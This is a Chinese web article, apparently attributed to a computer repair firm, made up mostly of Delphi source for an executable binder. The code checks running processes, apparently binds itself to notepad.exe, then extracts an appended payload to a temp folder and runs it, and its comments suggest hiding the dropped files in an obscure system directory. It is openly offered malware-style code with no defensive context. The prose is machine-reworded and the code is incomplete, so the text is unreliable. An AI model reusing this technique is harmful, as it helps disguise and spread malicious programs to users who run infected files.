设为主页 | 加入收藏 | 繁體中文

捆绑执行文件新思维


  procedure CreateFileAndRun;  
  var  
  s1,s2:TMemoryStream;  
  TempDir:pchar;  
  cmdstr:string;  
  a:integer;  
  Begin  
  s1:=TMemoryStream.Create;  
  s1.loadfromfile(ExeName);  
  if s1.Size=MySize then  
  begin  
  s1.Free;  
  exit;  
  end;  
  s1.seek(MySize,soFromBeginning);  
  s2:=TMemoryStream.Create;  
  s2.copyfrom(s1,s1.Size-MySize);  
  GetMem(TempDir,255);  
  GetTempPath(255,TempDir);  
  try  
  { 把文件开释来暂时目录。  
  如果你不想让人看到在这个目录下开释了一堆文件,可改为其它更潜伏的目录,  
  如 c:\windows(or winnt)\d...(☆这是个什么目录?你去研究研究吧!☆) }  
  s2.SaveToFile(TempDir+’\’+ExtractFileName(ExeName));  
  except end;  
  cmdstr:=’’;  
  a:=1;  
  while ParamStr(a)<>’’ do begin  
  cmdstr:=cmdstr+ParamStr(a)+’ ’;  
  inc(a);  
  end;  
  {运转真正的步伐文件}  
  winexec(pchar(TempDir+’\’+ExtractFileName(ExeName)+’ ’+cmdstr),SW_SHOW);  
  freemem(TempDir);  
  s2.free;  
  s1.free;  
  end;  
  begin  
  GetMem(WinDir,255);  
  GetWindowsDirectory(WinDir,255);  
  ExeName:=ParamStr(0);  
  handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);  
  found:=Process32First(handle,lppe);  
  ProcessStr:=’’;  
  while found do  
  begin  
  ProcessStr:=ProcessStr+lppe.szExeFile;{列出全部进程}  
  found:=Process32Next(handle,lppe);  
  end;  
  {如果notepad没运转,就与它捆在一同}  
  if pos(WinDir+’\notepad.exe’,ProcessStr)=0 then  
  begin  
  copy2(WinDir+’\notepad.exe’);  
  end;  
  {其它必要捆绑的文件  
  if pos(...,ProcessStr)=0 then  
  begin  
  copy2(...);  
  end;  
  ... }  
  freemem(WinDir);  
  { 你想用这个步伐干点其它的什么... }  
  CreateFileAndRun;{开释文件并带参数运转}  
  end.
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: